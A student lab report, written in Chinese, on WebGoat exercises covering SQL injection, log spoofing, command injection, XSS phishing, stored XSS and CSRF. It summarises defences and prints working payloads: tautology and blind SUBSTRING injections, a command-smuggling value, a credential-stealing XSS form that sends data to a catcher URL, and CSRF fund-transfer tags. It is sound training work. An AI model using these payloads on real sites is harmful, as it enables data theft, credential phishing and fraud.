一、实验问题回答

1、SQL注入攻击原理，如何防御
原理：恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中，同时程序本身对未对插入的SQL语句进行过滤，导致SQL语句直接被服务端执行。
防御：

限制查询长度
限制查询类型（权限）
过滤非法字符
正则表达式过滤传入参数
预编译语句集PreparedStatement
2、XSS攻击的原理，如何防御
原理：XSS是代码注入的一种，它允许恶意用户将代码注入到网页上，并能够被浏览器成功的执行，其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。主要目的是想办法获取目标攻击网站的cookie，有了这些信息就可以在任意能接进互联网的pc登陆该网站，并以其他人的身份登陆，做一些破坏。
防御：
对输入和URL参数进行过滤
在输出数据之前对潜在的威胁的字符进行编码、转义
3、CSRF攻击原理，如何防御
原理：跨站请求伪造，通过伪装来自受信任用户的请求来利用web server
防御：
验证请求中的Token
验证 Referer
添加加随机验证
设定cookie域
目录
SQL攻击
XSS攻击
CSRF攻击
实验心得体会

二、实验过程

WebGoat
我们本次的实验在WebGoat平台上进行

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，目前提供的训练课程有很多，包含了XSS、线程安全、SQL注入等。

普通安装，命令行输入java -jar webgoat-container-7.0.1-war-exec.jar(运行后保持终端，不然没法进入该网页)，成功如下图

浏览器转:localhost:8080/WebGoat登陆，开始练习，输入的用户名及密码使用默认的

SQL攻击

1、SQL字符串注入（String SQL Injection）

让我们试一试使用SQL注入，从而显示出所有信用卡号。可以先输入Smith试一试，发现出现在SELECT * FROM user_data WHERE last_name = 'Smith'两个单引号中间，也就是我们可以通过控制在输入框中输入的字符串，达到控制select语句的目的

输入'or 1='1，语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1'，这句的意思就是查询lastname='' OR（或者）1='1' ，这里的 1='1' 永远为真，所以成功通过

2、日志欺骗（Log Spoofing）

利用日志的格式，使用换行等字符，欺骗管理员：Use CR (%0d) and LF (%0a) for a new line。
比如输入yjc%0d%0aLogin Succeeded for username: admin

3、Numeric SQL Injection

题目大意是这个表单允许使用者看到天气数据，利用SQL注入使得可以看见所有数据
和之前的实验类似，只要加上一个1=1这种永真式即可达到我们的目的
使用inspect Element对源代码进行修改，在任意一个值比如101旁边加上or 1=1；

成功结果如下

4、Command Injection

题目的要求是：尝试给操作系统注入命令行，要求能够在目标主机上执行系统命令
通过火狐浏览器的inspect Element对源代码进行修改，右键点击BackDoors.help,这样就可以直接定位到需要修改的位置，无需一行一行代码的查看了
例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

点击view,后面跟着结果

5、Stage 1:String SQL Injection

题目要求使用字符串SQL注入在没有正确密码的情况下登录账号boss
用老套路，以用户Neville登录，在密码栏中输入'or 1='1--进行SQL注入，发现登录失败

查看了一下网页源码，发现输入框对输入的字符长度进行了限制，对字符长度进行修改

重新登录，登录成功

要获取name某个位置的具体值，需要借助substring函数，此处引进二分查找方法：在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5323532353235323'), 1, 1) = 'h' );
根据返回的提示来判断name的范围，直至返回成功，然后把Jill输入表单，提交，如下图所示：

7、LAB:SQL Injection

,在密码栏中输入or 1=1 --进行SQL注入
失败

查看源码发现是对输入长度进行了限制，修改源码再次注入

成功

XSS攻击

1、Phishing with XSS

这是跨站脚本钓鱼攻击，要求在搜索框中输入XSS攻击代码，利用XSS可以在已存在的页面中进一步添加元素的特点
在文本框里面输入一个钓鱼网站代码如下

</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中输入攻击代码后点击搜索，会看到一个要求输入用户名密码的表单如下

输入用户名密码
点击登录，WebGoat会将输入的信息捕获并反馈回来，攻击成功

2、Stored XSS Attacks

要求创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容
在Message中构造语句<script>alert("5213 attack succeed!");</script>，提交后，可以发现刚刚创建的帖子hello,点击后结果为

CRSF攻击

1、Cross Site Request Forgery(CSRF)

写一个URL诱使其他用户点击，从而触发CSRF攻击，我们可以以图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件
在message框中输入

<img src="http://localhost:8080/WebGoat/attack?
Screen=288&menu=900&transferFunds=5323"/>

提交后在下面的Message List里面可以看我刚刚发送的消息

点击该消息，当前页面就会下载这个消息并显示出来，转走用户的5323元，从而达到CSRF攻击的目的

2、CSRF Prompt By-Pass

查看页面下侧Parameters中的src和menu值，命名title，message框中输入代码：

<iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>

实验总结

这次实验确实学到了很多东西，原来还有这么个集成攻击小东西，练习中对xss，sql注入有了进一步认识

2018-2019-2 《网络对抗技术》Exp9 WebGoat 20165323